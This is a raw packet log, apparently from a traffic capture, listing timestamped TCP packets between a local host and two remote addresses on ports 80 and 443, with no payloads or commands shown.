Oct 29, 2024 06:59:05.955813885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955847025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.955847979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955873013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955887079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955890894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.955903053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955914021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.955915928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955940008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955946922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.955955982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955971003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955976009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.955987930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.955996037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956000090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956022024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956039906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956044912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956067085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956070900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956083059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956099033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956099987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956114054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956129074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956136942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956144094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956161022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956166029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956178904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956181049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956192970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956212997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956216097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956232071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956244946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956245899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956263065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956274986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956278086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956294060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956296921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956315041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956316948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956331968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956345081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956351042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956366062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956381083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956387997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956397057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956439018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956454039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956511021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956526041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956541061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956548929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956567049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956585884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956598043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956613064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956629038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956634998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956655025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956674099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956676006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956690073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956705093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956711054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956720114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956729889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956734896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956748009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956774950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.956952095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956967115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.956993103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957020044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957035065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957048893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957063913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957072020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957079887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957091093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957096100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957113981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957118034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957139015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957142115 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957154989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957170963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957180977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957190037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957210064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957223892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957226038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957240105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957252979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957271099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957288980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957297087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957310915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957324982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957334042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957364082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957501888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957520008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957536936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957549095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957560062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957572937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957601070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957775116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957792997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957812071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957813025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957825899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957829952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:05.957854986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:05.957863092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.002008915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.002057076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.002073050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.002096891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.002105951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.002139091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.034148932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.034193993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.034209013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.034225941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.034238100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.034241915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.034276009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.034303904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072105885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072164059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072199106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072208881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072233915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072247982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072247982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072269917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072278976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072319984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072328091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072371960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072397947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072427988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072448015 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072467089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072472095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072509050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072544098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072583914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072598934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072633028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072643995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072676897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072681904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072730064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072732925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072765112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072779894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072798967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072808027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072832108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072844028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072874069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072881937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072913885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072925091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.072963953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.072966099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073002100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073029041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073079109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073081970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073112011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073127985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073153019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073163033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073194981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073209047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073236942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073246002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073277950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073295116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073322058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073329926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073362112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073379040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073395967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073405027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073445082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073455095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073489904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073493958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073525906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073535919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073559999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073570967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073591948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073609114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073636055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073641062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073688030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073693037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073736906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073745012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073795080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073793888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073827982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073841095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073869944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073877096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073925972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073929071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073961020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073976994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.073993921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.073997974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074026108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074043989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074059010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074070930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074090958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074117899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074127913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074143887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074168921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074176073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074208975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074223995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074239016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074254036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074270010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074285984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074302912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074311972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074336052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074359894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074368954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074378014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074400902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074417114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074434996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074441910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074467897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074476957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074501991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074511051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074539900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074564934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074575901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074589968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074609041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074616909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074640989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074654102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074678898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074683905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074712038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074724913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074743986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074754000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074779987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074786901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074810982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074826956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074842930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074851036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074876070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074892044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074909925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:06.074915886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:06.074958086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:07.813879013 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.813935995 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:07.814014912 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.815069914 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.815104961 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:07.916652918 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.916666985 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:07.916815042 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.917033911 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.917046070 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:07.988148928 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.988234997 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:07.988311052 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.988523960 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:07.988559008 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.424079895 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.424141884 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.424230099 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.424679041 CET	49713	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.424719095 CET	443	49713	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.667949915 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.668159962 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.668205976 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.669066906 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.669147015 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.670582056 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.670644045 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.670700073 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.715337038 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.721020937 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.721038103 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.767880917 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.772660017 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.772937059 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.772945881 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.776474953 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.776546955 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.776894093 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.777061939 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.777084112 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.819331884 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.830516100 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.830523014 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.877212048 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.939280987 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.974138975 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.974272966 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.974673986 CET	443	49711	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.974746943 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.974773884 CET	49711	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.991549969 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.991573095 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.992757082 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:08.992804050 CET	443	49706	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:08.992863894 CET	49706	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.034352064 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.035233021 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.035288095 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.036237955 CET	443	49712	142.250.184.196	192.168.2.5
Oct 29, 2024 06:59:09.036329985 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.036676884 CET	49712	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:09.036751986 CET	443	49712	142.250.184.196	192.168.2.5
